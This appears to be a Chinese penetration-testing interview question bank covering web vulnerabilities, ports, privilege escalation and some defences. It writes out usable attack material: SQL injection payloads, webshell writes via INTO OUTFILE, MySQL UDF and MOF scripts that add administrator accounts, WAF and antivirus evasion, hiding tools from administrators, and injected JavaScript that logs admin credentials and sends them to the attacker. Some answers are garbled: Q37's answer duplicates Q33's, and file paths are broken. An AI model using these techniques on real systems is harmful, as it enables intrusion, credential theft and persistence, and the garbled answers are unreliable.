Nginx 版本小于等于0.8.37,利用方法和IIS 7.0/7.5一样,Fast-CGI关闭情况下也可利用。 空字节代码 xxx.jpg.php

Apache 上传的文件命名为:test.php.x1.x2.x3,Apache是从右往左判断后缀

lighttpd xx.jpg/xx.php,不全,请小伙伴们在评论处不吝补充,谢谢!

7.如何手工快速判断目标站是windows还是linux服务器?

linux大小写敏感,windows大小写不敏感。

8.为何一个mysql数据库的站,只有一个80端口开放?

更改了端口,没有扫描出来。

站库分离。

3306端口不对外开放

9、3389无法连接的几种情况

没开放3389 端口

端口被修改

防护拦截

处于内网(需进行端口转发)

10.如何突破注入时字符被转义?

宽字符注入

hex编码绕过

11.在某后台新闻编辑界面看到编辑器,应该先做什么?

查看编辑器的名称版本,然后搜索公开的漏洞。

12.拿到一个webshell发现网站根目录下有.htaccess文件,我们能做什么?

能做的事情很多,用隐藏网马来举例子: 插入 <FilesMatch "xxx.jpg"> SetHandler application/x-httpd-php .jpg文件会被解析成.php文件。

具体其他的事情,不好详说,建议大家自己去搜索语句来玩玩。

13.注入漏洞只能查账号密码?

只要权限广,拖库脱到老。

14.安全狗会追踪变量,从而发现出是一句话木马吗?

是根据特征码,所以很好绕过了,只要思路宽,绕狗绕到欢,但这应该不会是一成不变的。

**15.access 扫出后缀为asp的数据库文件,访问乱码,**如何实现到本地利用?

迅雷下载,直接改后缀为.mdb。

16.提权时选择可读写目录,为何尽量不用带空格的目录?

因为exp执行多半需要空格界定参数

17.某服务器有站点A,B 为何在A的后台添加test用户,访问B的后台。发现也添加上了test用户?

同数据库。

18.注入时可以不使用and 或or 或xor,直接order by 开始注入吗?

and/or/xor,前面的1=1、1=2步骤只是为了判断是否为注入点,如果已经确定是注入点那就可以省那步骤去。

19:某个防注入系统,在注入时会提示:

系统检测到你有非法注入的行为。已记录您的ip xx.xx.xx.xx 时间:2016:01-23 提交页面:test.asp?id=15 提交内容:and 1=1

20、如何利用这个防注入系统拿shell?

在URL里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件了 这个时候可以尝试寻找网站的配置文件 直接上菜刀链接。

21.上传大马后访问乱码时,有哪些解决办法?

浏览器中改编码。

22.审查上传点的元素有什么意义?

有些站点的上传文件类型的限制是在前端实现的,这时只要增加上传类型就能突破限制了。

23.目标站禁止注册用户,找回密码处随便输入用户名提示:“此用户不存在”,你觉得这里怎样利用?

先爆破用户名,再利用被爆破出来的用户名爆破密码。

其实有些站点,在登陆处也会这样提示

所有和数据库有交互的地方都有可能有注入。

24.目标站发现某txt的下载地址为http://www.test.com/down/down.php?file=/upwdown/1.txt,你有什么思路?

这就是传说中的下载漏洞!在file=后面尝试输入index.php下载他的首页文件,然后在首页文件里继续查找其他网站的配置文件,可以找出网站的数据库密码和数据库的地址。

25.甲给你一个目标站,并且告诉你根目录下存在/abc/目录,并且此目录下存在编辑器和admin目录。请问你的想法是?

直接在网站二级目录/abc/下扫描敏感文件及目录。

26.在有shell的情况下,如何使用xss实现对目标站的长久控制?

后台登录处加一段记录登录账号密码的js,并且判断是否登录成功,如果登录成功,就把账号密码记录到一个生僻的路径的文件中或者直接发到自己的网站文件中。(此方法适合有价值并且需要深入控制权限的网络)。

在登录后才可以访问的文件中插入XSS脚本。

27.后台修改管理员密码处,原密码显示为*。你觉得该怎样实现读出这个用户的密码?

审查元素 把密码处的password属性改成text就明文显示了

28.目标站无防护,上传图片可以正常访问,上传脚本格式访问则403.什么原因?

原因很多,有可能web服务器配置把上传目录写死了不执行相应脚本,尝试改后缀名绕过

29.审查元素得知网站所使用的防护软件,你觉得怎样做到的?

在敏感操作被拦截,通过界面信息无法具体判断是什么防护的时候,F12看HTML体部 比如护卫神就可以在名称那看到内容。

30.在win2003服务器中建立一个 .zhongzi文件夹用意何为?

隐藏文件夹,为了不让管理员发现你传上去的工具。

31、sql注入有以下两个测试选项,选一个并且阐述不选另一个的理由:

A. demo.jsp?id=2 1 B. demo.jsp?id=2-1 选B,在 URL 编码中 代表空格,可能会造成混淆

32、以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路?

demo.do?DATA=AjAxNg== DATA有可能经过了 base64 编码再传入服务器,所以我们也要对参数进行 base64 编码才能正确完成测试

33、发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪种是优选?

有写入权限的,构造联合查询语句使用using INTO OUTFILE,可以将查询的输出重定向到系统的文件中,这样去写入 WebShell 使用 sqlmap –os-shell 原理和上面一种相同,来直接获得一个 Shell,这样效率更高 通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等方法上传 Shell

34、CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?

XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。修复方式:对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。

CSRF是跨站请求伪造攻击,XSS是实现CSRF的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式:筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML解析库在调用时严格禁止对外部实体的解析。

35、CSRF、SSRF和重放攻击有什么区别?

CSRF是跨站请求伪造攻击,由客户端发起 SSRF是服务器端请求伪造,由服务器发起 重放攻击是将截获的数据包进行重放,达到身份认证等目的

36、说出至少三种业务逻辑漏洞,以及修复方式?

密码找回漏洞中存在

1)密码允许暴力破解、

2)存在通用型找回凭证、

3)可以跳过验证步骤、

4)找回凭证可以拦包获取

等方式来通过厂商提供的密码找回功能来得到密码。

身份认证漏洞中最常见的是

1)会话固定攻击

2) Cookie 仿冒

只要得到 Session 或 Cookie 即可伪造用户身份。

验证码漏洞中存在

1)验证码允许暴力破解

2)验证码可以通过 Javascript 或者改包的方法来进行绕过

37、圈出下面会话中可能存在问题的项,并标注可能会存在的问题?

get /ecskins/demo.jsp?uid=2016031900&keyword=”hello world” HTTP/1.1Host:.com:82User-Agent:Mozilla/ 5.0 Firefox/40Accept:text/css,/;q=0.1 Accept-Language:zh-CN;zh;q=0.8;en-US;q=0.5,en;q=0.3 Referer:http://****.com/eciop/orderForCC/ cgtListForCC.htm?zone=11370601&v=145902 Cookie:myguid1234567890=1349db5fe50c372c3d995709f54c273d; uniqueserid=session_OGRMIFIYJHAH5_HZRQOZAMHJ; st_uid=N90PLYHLZGJXI-NX01VPUF46W; status=True Connection:keep-alive

有写入权限的,构造联合查询语句使用using INTO OUTFILE,可以将查询的输出重定向到系统的文件中,这样去写入 WebShell 使用 sqlmap –os-shell 原理和上面一种相同,来直接获得一个 Shell,这样效率更高 通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等方法上传 Shell

38、给你一个网站你是如何来渗透测试的?

在获取书面授权的前提下。

39、sqlmap,怎么对一个注入点注入?

1)如果是get型号,直接,sqlmap -u "诸如点网址". 2) 如果是post型诸如点,可以sqlmap -u "注入点网址” --data="post的参数" 3)如果是cookie,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用号替换,放到文件里,然后sqlmap -r "文件地址"

40、nmap,扫描的几种方式

41、sql注入的几种类型?

1)报错注入 2)bool型注入 3)延时注入 4)宽字节注入

42、报错注入的函数有哪些?

10个

1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】

2)通过floor报错 向下取整

3) and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)

4).geometrycollection()select from test where id=1 and geometrycollection((select from(selectfrom(select user())a)b));

5).multipoint()select from test where id=1 and multipoint((select from(select from(select user())a)b));

6).polygon()select from test where id=1 and polygon((select from(select from(select user())a)b));

7).multipolygon()select from test where id=1 and multipolygon((select from(select from(select user())a)b));

8).linestring()select from test where id=1 and linestring((select from(select from(select user())a)b));

9).multilinestring()select from test where id=1 and multilinestring((select from(select from(select user())a)b));

10).exp()select from test where id=1 and exp(~(select * from(select user())a));

43、延时注入如何来判断?

if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)

44、盲注和延时注入的共同点?

都是一个字符一个字符的判断

45、如何拿一个网站的webshell?

上传,后台编辑模板,sql注入写文件,命令执行,代码执行, 一些已经爆出的cms漏洞,比如dedecms后台可以直接建立脚本文件,wordpress上传插件包含脚本文件zip压缩包等

46、sql注入写文件都有哪些函数?

select '一句话' into outfile '路径' select '一句话' into dumpfile '路径' select '' into dumpfile 'd:wwwrootbaidu.comnvhack.php';

47、如何防止CSRF?

1,验证referer 2,验证token 详细:http://cnodejs.org/topic/5533dd6e9138f09b629674fd

48、owasp 漏洞都有哪些?

1、SQL注入防护方法:2、失效的身份认证和会话管理 3、跨站脚本攻击XSS 4、直接引用不安全的对象 5、安全配置错误 6、敏感信息泄露 7、缺少功能级的访问控制 8、跨站请求伪造CSRF 9、使用含有已知漏洞的组件 10、未验证的重定向和转发

49、SQL注入防护方法?

1、使用安全的API 2、对输入的特殊字符进行Escape转义处理 3、使用白名单来规范化输入验证方法 4、对客户端输入进行控制,不允许输入SQL注入相关的特殊字符 5、服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除。

50、代码执行,文件读取,命令执行的函数都有哪些?

1)代码执行:

eval,preg_replace /e,assert,call_user_func,call_user_func_array,create_function

2)文件读取:

file_get_contents(),highlight_file(),fopen(),read

file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等 3)命令执行:

system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()

51、img标签除了onerror属性外,还有其他获取管理员路径的办法吗?

src指定一个远程的脚本文件,获取referer

52、img标签除了onerror属性外,并且src属性的后缀名,必须以.jpg结尾,怎么获取管理员路径?

1)远程服务器修改apache配置文件,配置.jpg文件以php方式来解析 AddType application/x-httpd-php .jpg <img src=http://xss.tv/1.jpg> 会以php方式来解析

53、为什么aspx木马权限比asp大?

aspx使用的是.net技术。IIS 中默认不支持,ASP只是脚本语言而已。入侵的时候asp的木马一般是guest权限…APSX的木马一般是users权限。

54、如何绕过waf?

大小写转换法

干扰字符 /*!*/

编码 base64 unicode hex url ascll

复参数

55、如何向服务器写入webshell?

各种上传漏洞

mysql具有写入权限,用sql语句写入shell

http put方法

56、渗透测试中常见的端口

1,web类(web漏洞/敏感目录) 第三方通用组件漏洞struts thinkphp jboss ganglia zabbix

80 web

80-89 web

8000-9090 web

2,数据库类(扫描弱口令)

1433 MSSQL

1521 Oracle

3306 MySQL

5432 PostgreSQL

3,特殊服务类(未授权/命令执行类/漏洞)

443 SSL心脏滴血

873 Rsync未授权

5984 CouchDB http://xxx:5984/_utils/

6379 redis未授权

7001,7002 WebLogic默认弱口令,反序列

9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞

11211 memcache未授权访问

27017,27018 Mongodb未授权访问

50000 SAP命令执行

50070,50030 hadoop默认端口未授权访问

4,常用端口类(扫描弱口令/端口爆破)

21 ftp

22 SSH

23 Telnet

2601,2604 zebra路由,默认密码zebra

3389 远程桌面

端口合计详情

21 ftp

22 SSH

23 Telnet

80 web

80-89 web

161 SNMP

389 LDAP

443 SSL心脏滴血以及一些web漏洞测试

445 SMB

512,513,514 Rexec

873 Rsync未授权

1025,111 NFS

1433 MSSQL

1521 Oracle:(iSqlPlus Port:5560,7778)

2082/2083 cpanel主机管理系统登陆 (国外用较多)

2222 DA虚拟主机管理系统登陆 (国外用较多)

2601,2604 zebra路由,默认密码zebra

3128 squid代理默认端口,如果没设置口令很可能就直接漫游内网了

3306 MySQL

3312/3311 kangle主机管理系统登陆

3389 远程桌面

4440 rundeck 参考WooYun: 借用新浪某服务成功漫游新浪内网

5432 PostgreSQL

5900 vnc

5984 CouchDB http://xxx:5984/_utils/

6082 varnish 参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网

6379 redis未授权

7001,7002 WebLogic默认弱口令,反序列

7778 Kloxo主机控制面板登录

8000-9090 都是一些常见的web端口,有些运维喜欢把管理后台开在这些非80的端口上

8080 tomcat/WDCP主机管理系统,默认弱口令

8080,8089,9090 JBOSS

8083 Vestacp主机管理系统 (国外用较多)

8649 ganglia

8888 amh/LuManager 主机管理系统默认端口

9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞

10000 Virtualmin/Webmin 服务器虚拟主机管理系统

11211 memcache未授权访问

27017,27018 Mongodb未授权访问

28017 mongodb统计页面

50000 SAP命令执行

50070,50030 hadoop默认端口未授权访问

深信服一面

了解哪些漏洞

文件上传有哪些防护方式

用什么扫描端口,目录

如何判断注入

注入有防护怎么办

有没有写过tamper

3306 1443 8080是什么端口

计算机网络从物理层到应用层xxxx

有没有web服务开发经验

如何向服务器写入webshell

有没有用过xss平台

网站渗透的流程

mysql两种提权方式(udf,?)

常见加密方式xxx

ddos如何防护

有没有抓过包,会不会写wireshark过滤规则

清理日志要清理哪些

SQL注入防护

1、使用安全的API

2、对输入的特殊字符进行Escape转义处理

3、使用白名单来规范化输入验证方法

4、对客户端输入进行控制,不允许输入SQL注入相关的特殊字符

5、服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除。

6、规范编码,字符集

为什么参数化查询可以防止sql注入

原理:

使用参数化查询数据库服务器不会把参数的内容当作sql指令的一部分来执行,是在数据库完成sql指令的编译后才套用参数运行

简单的说: 参数化能防注入的原因在于,语句是语句,参数是参数,参数的值并不是语句的一部分,数据库只按语句的语义跑

SQL头注入点

UA

REFERER

COOKIE

IP

盲注是什么?怎么盲注?

盲注是在SQL注入攻击过程中,服务器关闭了错误回显,我们单纯通过服务器返回内容的变化来判断是否存在SQL注入和利用的方式。盲注的手段有两种,一个是通过页面的返回内容是否正确(boolean-based),来验证是否存在注入。一个是通过sql语句处理时间的不同来判断是否存在注入(time-based),在这里,可以用benchmark,sleep等造成延时效果的函数,也可以通过构造大笛卡儿积的联合查询表来达到延时的目的。

宽字节注入产生原理以及根本原因

产生原理

在数据库使用了宽字符集而WEB中没考虑这个问题的情况下,在WEB层,由于0XBF27是两个字符,在PHP中比如addslash和magic_quotes_gpc开启时,由于会对0x27单引号进行转义,因此0xbf27会变成0xbf5c27,而数据进入数据库中时,由于0XBF5C是一个另外的字符,因此转义符号会被前面的bf带着"吃掉",单引号由此逃逸出来可以用来闭合语句。

在哪里编码

根本原因

character_set_client(客户端的字符集)和character_set_connection(连接层的字符集)不同,或转换函数如,iconv、mb_convert_encoding使用不当。

解决办法

统一数据库、Web应用、操作系统所使用的字符集,避免解析产生差异,最好都设置为UTF-8。或对数据进行正确的转义,如mysql_real_escape_string mysql_set_charset的使用。

sql里面只有update怎么利用

先理解这句 SQL

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'

如果此 SQL 被修改成以下形式,就实现了注入

1:修改 homepage 值为http://xxx.net', userlevel='3

之后 SQL 语句变为

UPDATE user SET password='mypass', homepage='http://xxx.net', userlevel='3' WHERE id='$id'

userlevel 为用户级别

2:修改 password 值为mypass)' WHERE username='admin'#

之后 SQL 语句变为

UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'

3:修改 id 值为' OR username='admin' 之后 SQL 语句变为

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'

sql如何写shell/单引号被过滤怎么办

写shell: root权限,GPC关闭,知道文件路径 outfile函数

`http://127.0.0.1:81/sqli.php?id=1 into outfile 'C:wamp64wwwphpinfo.php' FIELDS TERMINATED BY '<?php phpinfo(); ?>'`

`http://127.0.0.1:81/sqli.php?id=-1 union select 1,0x3c3f70687020706870696e666f28293b203f3e,3,4 into outfile 'C:wamp64wwwphpinfo.php'`

宽字节注入

代替空格的方法

、 、� 等 /**/ 等注释符 <>

mysql的网站注入,5.0以上和5.0以下有什么区别?

5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。

5.0以下是多用户单操作,5.0以上是多用户多操做。

XSS

XSS原理

反射型

用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。需要诱使用户“点击”一个恶意链接,才能攻击成功

储存型

存储型XSS会把用户输入的数据“存储”在服务器端。这种XSS具有很强的稳定性。

DOM型

通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。

DOM型和反射型的区别

反射型XSS:通过诱导用户点击,我们构造好的恶意payload才会触发的XSS。反射型XSS的检测我们在每次请求带payload的链接时页面应该是会带有特定的畸形数据的。

DOM型:通过修改页面的DOM节点形成的XSS。DOM-based XSS由于是通过js代码进行dom操作产生的XSS,所以在请求的响应中我们甚至不一定会得到相应的畸形数据。根本区别在我看来是输出点的不同。

DOM型XSS 自动化测试或人工测试

人工测试思路:找到类似document.write、innerHTML赋值、outterHTML赋值、window.location操作、写javascript:后内容、eval、setTimeout 、setInterval 等直接执行之类的函数点。找到其变量,回溯变量来源观察是否可控,是否经过安全函数。自动化测试参看道哥的博客,思路是从输入入手,观察变量传递的过程,最终检查是否有在危险函数输出,中途是否有经过安全函数。但是这样就需要有一个javascript解析器,否则会漏掉一些通过js执行带入的部分内容。

在回答这段问题的时候,由于平时对客户的检测中,基本是凭借不同功能点的功能加上经验和直觉来进行检测,对不同类型的XSS检测方式实际上并没有太过细分的标准化检测方式,所以回答的很烂。。。

如何快速发现xss位置

对于XSS怎么修补建议

输入点检查:对用户输入的数据进行合法性检查,使用filter过滤敏感字符或对进行编码转义,针对特定类型数据进行格式检查。针对输入点的检查最好放在服务器端实现。

输出点检查:对变量输出到HTML页面中时,对输出内容进行编码转义,输出在HTML中时,对其进行HTMLEncode,如果输出在Javascript脚本中时,对其进行JavascriptEncode。对使用JavascriptEncode的变量都放在引号中并转义危险字符,data部分就无法逃逸出引号外成为code的一部分。还可以使用更加严格的方法,对所有数字字母之外的字符都使用十六进制编码。此外,要注意在浏览器中,HTML的解析会优先于Javascript的解析,编码的方式也需要考虑清楚,针对不同的输出点,我们防御XSS的方法可能会不同,这点可能在之后的文章会做下总结。

除此之外,还有做HTTPOnly对Cookie劫持做限制。

XSS蠕虫的产生条件

正常情况下,一个是产生XSS点的页面不属于self页面,用户之间产生交互行为的页面,都可能造成XSS Worm的产生。不一定需要存储型XSS

CSRF

CSRF原理

CSRF是跨站请求伪造攻击,由客户端发起,是由于没有在关键操作执行时进行是否由用户自愿发起的确认

防御

验证Referer

添加token

token和referer做横向对比,谁安全等级高?

token安全等级更高,因为并不是任何服务器都可以取得referer,如果从HTTPS跳到HTTP,也不会发送referer。并且FLASH一些版本中可以自定义referer。但是token的话,要保证其足够随机且不可泄露。(不可预测性原则)

对referer的验证,从什么角度去做?如果做,怎么杜绝问题

对header中的referer的验证,一个是空referer,一个是referer过滤或者检测不完善。为了杜绝这种问题,在验证的白名单中,正则规则应当写完善。

针对token,对token测试会注意哪方面内容,会对token的哪方面进行测试?

引用一段请教前辈的回答:

针对token的攻击,一是对它本身的攻击,重放测试一次性、分析加密规则、校验方式是否正确等,二是结合信息泄露漏洞对它的获取,结合着发起组合攻击

信息泄露有可能是缓存、日志、get,也有可能是利用跨站

很多跳转登录的都依赖token,有一个跳转漏洞加反射型跨站就可以组合成登录劫持了

另外也可以结合着其它业务来描述token的安全性及设计不好怎么被绕过比如抢红包业务之类的

SSRF

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)。

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

检测

SSRF漏洞的验证方法:

1)因为SSRF漏洞是让服务器发送请求的安全漏洞,所以我们就可以通过抓包分析发送的请求是否是由服务器的发送的,从而来判断是否存在SSRF漏洞

2)在页面源码中查找访问的资源地址 ,如果该资源地址类型为 www.baidu.com/xxx.php?image=(地址)的就可能存在SSRF漏洞 4

SSRF漏洞的成因 防御 绕过

成因:模拟服务器对其他服务器资源进行请求,没有做合法性验证。利用:构造恶意内网IP做探测,或者使用其余所支持的协议对其余服务进行攻击。防御:禁止跳转,限制协议,内外网限制,URL限制。绕过:使用不同协议,针对IP,IP格式的绕过,针对URL,恶意URL增添其他字符,@之类的。301跳转 dns rebindding。

上传

文件上传漏洞原理

由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件

常见的上传绕过方式

前端js验证:禁用js/burp改包

大小写

双重后缀名

过滤绕过 pphphp->php

防护

文件上传目录设置为不可执行

使用白名单判断文件上传类型

用随机数改写文件名和路径

审查上传点的元素有什么意义?

有些站点的上传文件类型的限制是在前端实现的,这时只要增加上传类型就能突破限制了。

文件包含

原理

引入一段用户能控制的脚本或代码,并让服务器端执行 (1)include()等函数通过动态变量的方式引入需要包含的文件;(2)用户能够控制该动态变量。

导致文件包含的函数

PHP:include(), include_once(), require(), re-quire_once(), fopen(), readfile(), … JSP/Servlet:ava.io.File(), java.io.Fil-eReader(), … ASP:include file, include virtual,

本地文件包含

能够打开并包含本地文件的漏洞,被称为本地文件包含漏洞

XXE

逻辑漏洞

金融行业常见逻辑漏洞

单针对金融业务的 主要是数据的篡改(涉及金融数据,或部分业务的判断数据),由竞争条件或者设计不当引起的薅羊毛,交易/订单信息泄露,水平越权对别人的账户查看或恶意操作,交易或业务步骤绕过。

溢出

中间人攻击

中间人攻击是一个(缺乏)相互认证的攻击;由于客户端与服务器之间在SSL握手的过程中缺乏相互认证而造成的漏洞

防御中间人攻击的方案通常基于一下几种技术

1.公钥基础建设PKI 使用PKI相互认证机制,客户端验证服务器,服务器验证客户端;上述两个例子中都是只验证服务器,这样就造成了SSL握手环节的漏洞,而如果使用相互认证的的话,基本可以更强力的相互认证

2.延迟测试

使用复杂加密哈希函数进行计算以造成数十秒的延迟;如果双方通常情况下都要花费20秒来计算,并且整个通讯花费了60秒计算才到达对方,这就能表明存在第三方中间人。

3.使用其他形式的密钥交换形式

ARP欺骗

原理:

每台主机都有一个ARP缓存表,缓存表中记录了IP地址与MAC地址的对应关系,而局域网数据传输依靠的是MAC地址。在ARP缓存表机制存在一个缺陷,就是当请求主机收到ARP应答包后,不会去验证自己是否向对方主机发送过ARP请求包,就直接把这个返回包中的IP地址与MAC地址的对应关系保存进ARP缓存表中,如果原有相同IP对应关系,原有的则会被替换。这样攻击者就有了偷听主机传输的数据的可能

防护

1.在主机绑定网关MAC与IP地址为静态(默认为动态),命令:arp -s 网关IP 网关MAC

2.在网关绑定主机MAC与IP地址

3.使用ARP防火墙

DDOS

DDOS原理

利用合理的请求造成资源过载,导致服务不可用

syn洪流的原理

伪造大量的源IP地址,分别向服务器端发送大量的SYN包,此时服务器端会返回SYN/ACK包,因为源地址是伪造的,所以伪造的IP并不会应答,服务器端没有收到伪造IP的回应,会重试3~5次并且等待一个SYNTime(一般为30秒至2分钟),如果超时则丢弃这个连接。攻击者大量发送这种伪造源地址的SYN请求,服务器端将会消耗非常多的资源(CPU和内存)来处理这种半连接,同时还要不断地对这些IP进行SYN ACK重试。最后的结果是服务器无暇理睬正常的连接请求,导致拒绝服务。

CC攻击原理

对一些消耗资源较大的应用页面不断发起正常的请求,以达到消耗服务端资源的目的。

DDOS防护

SYN Cookie/SYN Proxy、safereset等算法。SYN Cookie的主要思想是为每一个IP地址分配一个“Cookie”,并统计每个IP地址的访问频率。如果在短时间内收到大量的来自同一个IP地址的数据包,则认为受到攻击,之后来自这个IP地址的包将被丢弃。

提权

mysql两种提权方式

udf提权,mof提权

Mysql_UDF提权

要求: 1.目标系统是Windows(Win2000,XP,Win2003);2.拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数 3.有root账号密码 导出udf: MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的libplugin文件夹下才能创建自定义函数 可以再mysql里输入 select @@basedir show variables like ‘%plugins%’ 寻找mysql安装路径 提权:

使用SQL语句创建功能函数。语法:Create Function 函数名(函数名只能为下面列表中的其中之一)returns string soname ‘导出的DLL路径’;

create function cmdshell returns string soname ‘udf.dll’

select cmdshell(‘net user arsch arsch /add’);

select cmdshell(‘net localgroup administrators arsch /add’);

drop function cmdshell;

该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建libplugin文件夹,然后将udf.dll文件导出到该目录即可。

Mysql mof提权

#pragma namespace(".rootsubscription")

instance of __EventFilter as $EventFilter

{

EventNamespace = "RootCimv2";

Name = "filtP2";

Query = "Select * From __InstanceModificationEvent "

"Where TargetInstance Isa "Win32_LocalTime" "

"And TargetInstance.Second = 5";

QueryLanguage = "WQL";

};

instance of ActiveScriptEventConsumer as $Consumer

{

Name = "consPCSV2";

ScriptingEngine = "JScript";

ScriptText =

"var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user waitalone waitalone.cn /add")";

};

instance of __FilterToConsumerBinding

{

Consumer = $Consumer;

Filter = $EventFilter;

};

其中的第18行的命令,上传前请自己更改。

2、执行load_file及into dumpfile把文件导出到正确的位置即可。

select load file('c:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mov'

执行成功后,即可添加一个普通用户,然后你可以更改命令,再上传导出执行把用户提升到管理员权限,然后3389连接之就ok了。

特殊漏洞

Struts2-045

Redis未授权访问

产生原因

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器

利用条件和方法

条件:

redis服务以root账户运行

redis无密码或弱密码进行认证

redis监听在0.0.0.0公网上

方法:

通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫

上传SSH公钥获得SSH登录权限

通过crontab反弹shell

slave主从模式利用

修复

密码验证

降权运行

限制ip/修改端口

Jenkins未授权访问

攻击者通过未授权访问进入脚本命令执行界面执行攻击指令

println "ifconfig -a".execute().text 执行一些系统命令,利用wget下载webshell

MongoDB未授权访问

开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,而且可以远程访问数据库,登录的用户可以通过默认端口无需密码对数据库进行增、删、改、查等任意高危操作。

防护

1、为MongoDB添加认证:1)MongoDB启动时添加–auth参数 2)给MongoDB添加用户:use admin #使用admin库 db.addUser(“root”, “123456”) #添加用户名root密码123456的用户 db.auth(“root”,“123456”) #验证下是否添加成功,返回1说明成功 2、禁用HTTP和REST端口 MongoDB自身带有一个HTTP服务和并支持REST接口。在2.6以后这些接口默认是关闭的。mongoDB默认会使用默认端口监听web服务,一般不需要通过web方式进行远程管理,建议禁用。修改配置文件或在启动的时候选择–nohttpinterface 参数nohttpinterface=false 3、限制绑定IP 启动时加入参数 –bind_ip 127.0.0.1 或在/etc/mongodb.conf文件中添加以下内容:bind_ip = 127.0.0.1

Memcache未授权访问

Memcached是一套常用的key-value缓存系统,由于它本身没有权限控制模块,所以对公网开放的Memcache服务很容易被攻击者扫描发现,攻击者通过命令交互可直接读取Memcached中的敏感信息。

利用

1、登录机器执行netstat -an |more命令查看端口监听情况。回显0.0.0.0:11211表示在所有网卡进行监听,存在memcached未授权访问漏洞。

2、telnet 11211,或nc -vv 11211,提示连接成功表示漏洞存在

漏洞加固

1、设置memchached只允许本地访问

2、禁止外网访问Memcached 11211端口

3、编译时加上–enable-sasl,启用SASL认证

FFMPEG 本地文件读取漏洞

原理

通过调用加密API将payload加密放入一个会被执行的段字节中。但是具体回答工程中我只回答道了SSRF老洞,m3u8头,偏移量,加密。

安全知识

WEB

常用WEB开发JAVA框架

STRUTS,SPRING 常见的java框架漏洞 其实面试官问这个问题的时候我不太清楚他要问什么,我提到struts的045 048,java常见反序列化。045 错误处理引入了ognl表达式 048 封装action的过程中有一步调用getstackvalue递归获取ognl表达式 反序列化 操作对象,通过手段引入。apache common的反射机制、readobject的重写,其实具体的我也记不清楚。。。然后这部分就结束了

同源策略

同源策略限制不同源对当前document的属性内容进行读取或设置。不同源的区分:协议、域名、子域名、IP、端口,以上有不同时即不同源。

Jsonp安全攻防技术,怎么写Jsonp的攻击页面?

涉及到Jsonp的安全攻防内容

JSON劫持、Callback可定义、JSONP内容可定义、Content-type不为json。

攻击页面

JSON劫持,跨域劫持敏感信息,页面类似于

function wooyun(v){

alert(v.username);

}

</script>

<script src="http://js.login.360.cn/?o=sso&m=info&func=wooyun"></script>

Content-type不正确情况下,JSONP和Callback内容可定义可造成XSS。JSONP和FLASH及其他的利用参照知道创宇的JSONP安全攻防技术。

PHP

php中命令执行涉及到的函数

1,代码执行:eval()、assert()、popen()、system()、exec()、shell_exec()、passthru(),pcntl_exec(),call_user_func_array(),create_function() 2,文件读取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等 3,命令执行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()

安全模式下绕过php的disable fuction

DL函数,组件漏洞,环境变量。

PHP弱类型

== 在进行比较的时候,会先将字符串类型转化成相同,再比较

如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行

0e开头的字符串等于0

数据库

各种数据库文件存放的位置

mysql:/usr/local/mysql/data/ C:ProgramDataMySQLMySQL Server 5.6Data oracle:$ORACLE_BASE/oradata/$ORACLE_SID/

系统

